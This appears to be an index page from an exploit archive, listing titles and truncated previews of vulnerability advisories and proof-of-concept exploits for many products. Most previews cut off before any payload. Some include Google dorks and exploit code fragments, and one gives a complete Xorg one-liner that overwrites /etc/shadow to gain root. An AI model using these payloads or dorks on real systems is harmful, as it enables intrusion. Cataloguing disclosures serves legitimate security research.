Apache OFBiz - Multiple Cross-Site Scripting Vulnerabilities

Apache OFBiz - Multiple Cross-Site Scripting Vulnerabilities Bonsai Information Security - Advisory http://www.bonsai-sec.com/research/ Multiple XSS in Apache OFBiz 1. Advisory Information Title: Multiple XSS in Apache OFBiz Advisory ID: BONSAI-2010-0103 Advisory URL:...

Portable AVS DVD Authoring 1.3.3.51 - Local Crash (PoC)

Portable AVS DVD Authoring 1.3.3.51 - Local Crash PoC C:\perl\bin Exploit Title: Portable AVS DVD Authoring Date: 2010/4pr/05 Author: R3d-D3v!L Version: v1.3.3.51 Tested on: windows XP sp3 Coded by x$file"; print $FILE "$boom"; close$FILE; print "Done..!\n";...

Azadi Network - page SQL Injection

Azadi Network - page SQL Injection | | | Azadi Network page Remote SQL Injection Vulnerability | |-------------------- Hussin X ------------------- | | Author: Hussin X | | Home : WwW.IQ-ty.CoM | | email : darkangelg85atYahooDoTcom | | | | script : www.azadinet.net | | DorK : "Powered By Azadi...

MKPortal 1.2.1 - Multiple Vulnerabilities

MKPortal 1.2.1 - Multiple Vulnerabilities waraxe-2009-SA070 - Multiple Vulnerabilities in MKPortal = 1.2.1 ============================================================================== Author: Janek Vind "waraxe" Date: 15. January 2009 Location: Estonia, Tartu Web:...

Solaris sadmind adm_build_path - Remote Buffer Overflow (Metasploit)

Solaris sadmind admbuildpath - Remote Buffer Overflow Metasploit $Id$ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use...

Youngzsoft CMailServer 5.4.6 - CMailCOM.dll Remote Overwrite (SEH)

Youngzsoft CMailServer 5.4.6 - CMailCOM.dll Remote Overwrite SEH 0 strUID = arrStringi objPOP3.MoveToFolder strUID ' ---------------- bof ... By attaching olly to the w3wp.exe sub-process you will see the usual dump with ecx and eip owned, with a buffer of approxymately 13000 chars...

Microsoft Windows Server 2000 SP4 (Advanced Server) - Message Queue (MS07-065)

Microsoft Windows Server 2000 SP4 Advanced Server - Message Queue MS07-065 merry christmas Sysadmins Microsoft Message Queue POC exploit MS07-065 Mario Ballano - mballanogmail.com - http://www.48bits.com Andres Tarasco - atarascogmail.com - http://www.tarasco.org Original Advisory:...

Linux Kernel 2.6.x - ALSA snd-page-alloc Local Proc File Information Disclosure

Linux Kernel 2.6.x - ALSA snd-page-alloc Local Proc File Information Disclosure / source: https://www.securityfocus.com/bid/25774/info / The Linux kernel is prone to a local privilege-escalation vulnerability. Exploiting this issue may allow local attackers to gain elevated privileges, facilitati...

Gizzar 03162002 - index.php Remote File Inclusion

Gizzar 03162002 - index.php Remote File Inclusion !/usr/bin/perl gizzar --Remote File Inclusion Vulnerablity Class = Remote File Inclusion Bug Found & Exploit coded By DeltahackingTEAM Dr.Trojan&Dr.Pantagon Download:http://switch.dl.sourceforge.net/sourceforge/gizzar/gizzar-03162002.tar.gz...

Kayako eSupport 2.3.1 - subd Remote File Inclusion

Kayako eSupport 2.3.1 - subd Remote File Inclusion Script: Kayako eSupport Comments: It seems like the vendor silently fixed the issue in the current version more like since v2.3.5 withouth warning users of previous versions, noobs. Requires that "registerglobals" is enabled. Vulnerable File:...

Mambo Componen phpBB 1.2.4 - Multiple Remote File Inclusions

Mambo Componen phpBB 1.2.4 - Multiple Remote File Inclusions source: https://www.securityfocus.com/bid/18914/info phpBB for Mambo is prone to multiple remote file-include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. An attacker ca...

Limbo CMS 1.0.4.2 - catid SQL Injection

Limbo CMS 1.0.4.2 - catid SQL Injection i Limbo CMS option=weblinks sql injection exploit i coded by Oo Usage: ?host=hostname&path=limbopath&id=userid Exemple: ?host=127.0.0.1&path=/limbo&id=1 g Google: inurl:"index2.php?option=rss" OR "powered By Limbo CMS" /",$f && pregmatch"/login/",$f echo...

Mall23 - AddItem.asp SQL Injection

Mall23 - AddItem.asp SQL Injection source: https://www.securityfocus.com/bid/14898/info Mall23 is prone to an SQL injection vulnerability. This is due to a lack of proper sanitization of user-supplied input before using it in an SQL query. Successful exploitation could result in a compromise of t...

phpStat 1.5 - setup.php Authentication Bypass (Perl)

phpStat 1.5 - setup.php Authentication Bypass Perl !/usr/bin/perl T r a p - S e t U n d e r g r o u n d H a c k i n g T e a m EXPLOIT FOR - PHPStat Setup.PHP Authentication Bypass Vulnerability Exploit By : A l p h a P r o g r a m m e r Sirus-v E-Mail : [email protected] This Xpl Change...

Solaris 789 CDE LibDTHelp - Local Buffer Overflow (1)

Solaris 789 CDE LibDTHelp - Local Buffer Overflow 1 / $Id: raptorlibdthelp.c,v 1.1 2004/12/04 14:44:38 raptor Exp $ raptorlibdthelp.c - libDtHelp.so local, Solaris/SPARC 7/8/9 Copyright c 2003-2004 Marco Ivaldi Buffer overflow in CDE libDtHelp library allows local users to execute arbitrary code...

Ethereal 0.x - Multiple iSNS SMB SNMP Protocol Dissector Vulnerabilities

Ethereal 0.x - Multiple iSNS SMB SNMP Protocol Dissector Vulnerabilities // source: https://www.securityfocus.com/bid/10672/info Ethereal 0.10.5 has been released to address multiple vulnerabilities, including an iSNS protocol dissector vulnerability, a SMB protocol dissector vulnerability, and a...

Coppermine Photo Gallery 1.2.0 RC4 - init.inc.php Remote File Inclusion

Coppermine Photo Gallery 1.2.0 RC4 - init.inc.php Remote File Inclusion source: https://www.securityfocus.com/bid/10253/info Coppermine Photo Gallery is reported prone to multiple input-validation vulnerabilities, some of which may lead to arbitrary command execution. These issues occur because t...

AllMyLinks 0.x - footer.inc.php Arbitrary Code Execution

AllMyLinks 0.x - footer.inc.php Arbitrary Code Execution source: https://www.securityfocus.com/bid/9664/info Reportedly the AllMyPHP applications AllMyGuests, AllMyLinks and AllMyVisitors are prone to a remote file include vulnerability. The issue is due to insufficient filtering of URI passed...

Microsoft Windows XP20002003 - Message Queuing Service Heap Overflow

Microsoft Windows XP20002003 - Message Queuing Service Heap Overflow source: https://www.securityfocus.com/bid/8783/info It has been reported that the Microsoft Message Queuing service is prone to a heap overflow. The Symantec DeepSight analyst team is currently analyzing proof-of-concept exploit...

Samba 2.2.8 (LinuxBSD) - Remote Code Execution

Samba 2.2.8 LinuxBSD - Remote Code Execution / Remote root exploit for Samba 2.2.x and prior that works against Linux all distributions, FreeBSD 4.x, 5.x, NetBSD 1.x and OpenBSD 2.x, 3.x and 3.2 non-executable stack. sambal.c is able to identify samba boxes. It will send a netbios name packet to...

PHPSysInfo 2.02.1 - index.php LNG File Disclosure

PHPSysInfo 2.02.1 - index.php LNG File Disclosure source: https://www.securityfocus.com/bid/7286/info PHPSysInfo has been reported to be vulnerable to a file disclosure issue. Local users may be capable of influencing the include path for PHPSysinfo language include files. If the malicious langua...

WU-FTPD 2.4.22.5 .02.6.0 - Remote Format String Stack Overwrite (1)

WU-FTPD 2.4.22.5 .02.6.0 - Remote Format String Stack Overwrite 1 // source: https://www.securityfocus.com/bid/1387/info Washington University ftp daemon wu-ftpd is a very popular unix ftp server shipped with many distributions of Linux and other UNIX operating systems. Wu-ftpd is vulnerable to a...

RICOH Aficio SP 5210SF Printer - entryNameIn HTML Injection

RICOH Aficio SP 5210SF Printer - entryNameIn HTML Injection Exploit Title: RICOH Aficio SP 5210SF Printer - 'entryNameIn' HTML Injection Discovery by: Olga Villagran Discovery Date: 2020-03-02 Vendor Homepage: https://www.ricoh.com/ Hardware Link:...

DBPower C300 HD Camera - Remote Configuration Disclosure

DBPower C300 HD Camera - Remote Configuration Disclosure Exploit Title: DBPower C300 HD Camera - Remote Configuration Disclosure Date: 2020-02-19 Author: Todor Donev Vendor: https://donev.eu/ CVE: N/A Copyright 2020 c Todor Donev https://donev.eu/...

nostromo 1.9.6 - Remote Code Execution

nostromo 1.9.6 - Remote Code Execution Exploit Title: nostromo 1.9.6 - Remote Code Execution Date: 2019-12-31 Exploit Author: Kr0ff Vendor Homepage: Software Link: http://www.nazgul.ch/dev/nostromo-1.9.6.tar.gz Version: 1.9.6 Tested on: Debian CVE : CVE-2019-16278 cve201916278.py !/usr/bin/env...

REDCap 9.1.2 - Cross-Site Scripting

REDCap 9.1.2 - Cross-Site Scripting Exploit Title: REDCap - Details: Since it is an onkeypress event, it is triggered whenever the user touch any key and since the XSS payload is stored in the project name it appears in several pages. - Privileges: It requires admin privileges to store it. -...

Microsoft DirectWrite AFDKO - Stack Corruption in OpenType Font Handling due to Out-of-Bounds cubeStackDepth

Microsoft DirectWrite AFDKO - Stack Corruption in OpenType Font Handling due to Out-of-Bounds cubeStackDepth ----===== Background =====----- AFDKO Adobe Font Development Kit for OpenType is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handlin...

Microsoft DirectWrite AFDKO - Heap-Based Buffer Overflow in OpenType Font Handling in readStrings

Microsoft DirectWrite AFDKO - Heap-Based Buffer Overflow in OpenType Font Handling in readStrings -----===== Background =====----- AFDKO Adobe Font Development Kit for OpenType is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library...

Serv-U FTP Server 15.1.7 - Local Privilege Escalation (1)

Serv-U FTP Server 15.1.7 - Local Privilege Escalation 1 / CVE-2019-12181 Serv-U 15.1.6 Privilege Escalation vulnerability found by: Guy Levin @vastart - twitter.com/vastart https://blog.vastart.dev to compile and run: gcc servu-pe-cve-2019-12181.c -o pe && ./pe / include include include int main...

Netwide Assembler (NASM) 2.14rc15 - NULL Pointer Dereference (PoC)

Netwide Assembler NASM 2.14rc15 - NULL Pointer Dereference PoC Exploit Title: Netwide Assembler NASM 2.14rc15 NULL Pointer Dereference PoC Date: 2018-09-05 Exploit Author: Fakhri Zulkifli Vendor Homepage: https://www.nasm.us/ Software Link: https://www.nasm.us/pub/nasm/releasebuilds/?C=M;O=D...

Bolt CMS 3.6.6 - Cross-Site Request Forgery Remote Code Execution

Bolt CMS 3.6.6 - Cross-Site Request Forgery Remote Code Execution history.pushState'', '', '/' function exploit var target = "http://127.0.0.1" var boltadminurl = target + "/bolt"; var xhr = new XMLHttpRequest; xhr.open"POST", boltadminurl + "/upload", true; xhr.setRequestHeader"Accept",...

ShoreTel Connect ONSITE 19.49.1500.0 - Multiple Vulnerabilities

ShoreTel Connect ONSITE 19.49.1500.0 - Multiple Vulnerabilities Exploit Title: Shoretel Connect Multiple Vulnerability Google Dork: inurl:/signin.php?ret= Date: 14/06/2017 Author: Ramikan Vendor Homepage: https://www.shoretel.com/ Software Link:...

Apache Tika-server 1.18 - Command Injection

Apache Tika-server 1.18 - Command Injection Description: This is a PoC for remote command execution in Apache Tika-server. Versions Affected: Tika-server versions " print "Example: python CVE-2018-1335.py localhost 9998 calc.exe" else: host = sys.argv1 port = sys.argv2 cmd = sys.argv3 url =...

DomainMOD 4.11.01 - category.php CatagoryName_ StakeHolder Cross-Site Scripting

DomainMOD 4.11.01 - category.php CatagoryName StakeHolder Cross-Site Scripting Exploit Title: DomainMOD 4.11.01 - Cross-Site Scripting Date: 2018-11-22 Exploit Author: Mohammed Abdul Raheem Vendor Homepage: domainmod https://domainmod.org/ Software Link: domainmod...

MyBB Bans List 1.0 - Cross-Site Scripting

MyBB Bans List 1.0 - Cross-Site Scripting Exploit Title: MyBB Bans List - Cross Site Scripting Date: 7/25/2018 Author: 0xB9 Twitter: @0xB9Sec Contact: 0xB9atpm.me Software Link: https://community.mybb.com/mods.php?action=view&pid=423 Version: 1.0 Tested on: Ubuntu 18.04 CVE: CVE-2018-14724 1...

xorg-x11-server 1.20.3 - Local Privilege Escalation

xorg-x11-server 1.20.3 - Local Privilege Escalation CVE-2018-14665 - a LPE exploit via http://X.org fits in a tweet cd /etc; Xorg -fp "root::16431:0:99999:7:::" -logfile shadow :1;su Overwrite shadow or any file on most Linux, get root privileges. BSD and any other Xorg desktop also affected...

QNAP Photo Station 5.7.0 - Cross-Site Scripting

QNAP Photo Station 5.7.0 - Cross-Site Scripting Exploit Title: QNAP Photo Station 5.7.0 - Cross-Site Scripting Google Dork: N/A Date: 2018-09-07 Exploit Author: Mitsuaki Mitch Shiraishi - secureworks Vendor Homepage: https://www.qnap.com/ja-jp/security-advisory/nas-201808-23 Software Link: N/A...

Skia - Heap Overflow in SkScan::FillPath due to Precision Error

Skia - Heap Overflow in SkScan::FillPath due to Precision Error There is a heap overflow in Skia when drawing paths with antialiasing turned off. This issue can be triggered in both Google Chrom and Mozilla Firefox by rendering a specially crafted SVG image. PoCs for both browsers are attached...

LFCMS 3.7.0 - Cross-Site Request Forgery (Add User)

LFCMS 3.7.0 - Cross-Site Request Forgery Add User Exploit Title: A CSRF vulnerability exists in LFCMS3.7.0: users can be added arbitrarily. Date: 2018-06-20 Exploit Author: bay0net Vendor Homepage: https://www.cnblogs.com/v1vvwv/p/9203740.html Software Link:...

Bitmain Antminer D3L3+S9 - Remote Command Execution

Bitmain Antminer D3L3+S9 - Remote Command Execution Exploit Title: Bitmain Antminer D3, L3+, and S9 devices allow Remote Command Execution Google Dork: N/A Date: 27/05/2018 Exploit Author: Corrado Liotta Vendor Homepage: https://www.bitmain.com/ Software Link: N/A Version: Antminer - D3, L3+, S9,...

ClipperCMS 1.3.3 - Cross-Site Scripting

ClipperCMS 1.3.3 - Cross-Site Scripting Exploit Title: ClipperCMS 1.3.3 Persistent XSS on 'Site name' field Date: 05/27/2018 Exploit Author: Nathu Nandwani Website: http://nandtech.co/ Vendor Homepage: http://www.clippercms.com/ Software Link:...

ManageEngine Recovery Manager Plus 5.3 - Cross-Site Scripting

ManageEngine Recovery Manager Plus 5.3 - Cross-Site Scripting Exploit Title: ManageEngine Recovery Manager Plus 5.3 Build 5330 - Persistent Cross-Site Scripting Dated: 2018-03-31 Exploit Author: Ahmet GÜREL Software Link: https://www.manageengine.com/ad-recovery-manager/ Version: = 5.3 Build 5330...

Inteno IOPSYS 2.0 4.2.0 - p910nd Remote Command Execution

Inteno IOPSYS 2.0 4.2.0 - p910nd Remote Command Execution ''' Any authenticated user can modify the configuration for it in a way which allows them to read and append to any file as root. This leads to information disclosure and remote code execution. This vulnerability has been assigned the CVE...

Open-AudIT Professional - 2.1.1 - Cross-Site Scripting

Open-AudIT Professional - 2.1.1 - Cross-Site Scripting Exploit Title: Open-AudIT Professional 2.1.1 – Multiple Cross-Site Scripting Exploit Author: Tejesh Kolisetty Vendor Homepage: https://opmantek.com/ Software Link: https://opmantek.com/network-tools-download/ Affected Version: 2.1.1 Category:...

WordPress Plugin User Role Editor 4.25 - Privilege Escalation

WordPress Plugin User Role Editor 4.25 - Privilege Escalation This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework class MetasploitModule 'WordPress User Role Editor Plugin Privilege Escalation', 'Description' = %q The...

Blog Master Pro 1.0 - CSV Injection

Blog Master Pro 1.0 - CSV Injection Exploit Title: Blog Master Pro v1.0 - CSV Injection Date: 2018-04-23 Exploit Author: 8bitsec CVE: CVE-2018-10255 Vendor Homepage: https://codecanyon.net/ Software Link: https://codecanyon.net/item/blog-master-pro/21689781 Version: 1.0 Tested on: Kali Linux 2.0 ...

Adobe Flash 28.0.0.161 - Use-After-Free

Adobe Flash 28.0.0.161 - Use-After-Free !/usr/bin/env python coding: UTF-8 import BaseHTTPServer import sys from SimpleHTTPServer import SimpleHTTPRequestHandler print "@Syfi2k" print "+ CVE-2018-4878 poc " print "--------------------------------" print "Calc.exe Shellcode via Msfvenom" print...

Microsoft Windows - Multiple Use-After-Free Issues in jscript Array Methods

Microsoft Windows - Multiple Use-After-Free Issues in jscript Array Methods !-- There are multiple use-after-free issues in Array methods in jscript. When jscript executes an Array method such as Array.join, it first retrieves the length of an array. If the input is not an array but an object, th...

Open-AuditIT Professional 2.1 - Cross-Site Request Forgery

Open-AuditIT Professional 2.1 - Cross-Site Request Forgery Exploit Title: Open-AuditIT Professional 2.1 - Cross-Site Request Forgery CSRF Date: 27-03-2018 Exploit Author: Nilesh Sapariya Contact: https://twitter.com/nileshloganx Website: https://nileshsapariya.blogspot.com Vendor Homepage:...

DEWESoft X3 SP1 (64-bit) - Remote Command Execution

DEWESoft X3 SP1 64-bit - Remote Command Execution + Credits: John Page aka hyp3rlinx + Website: hyp3rlinx.altervista.org + Source: http://hyp3rlinx.altervista.org/advisories/DEWESOFT-X3-REMOTE-INTERNAL-COMMAND-ACCESS.txt + ISR: Apparition Security Vendor: ============= www.dewesoft.com Product:...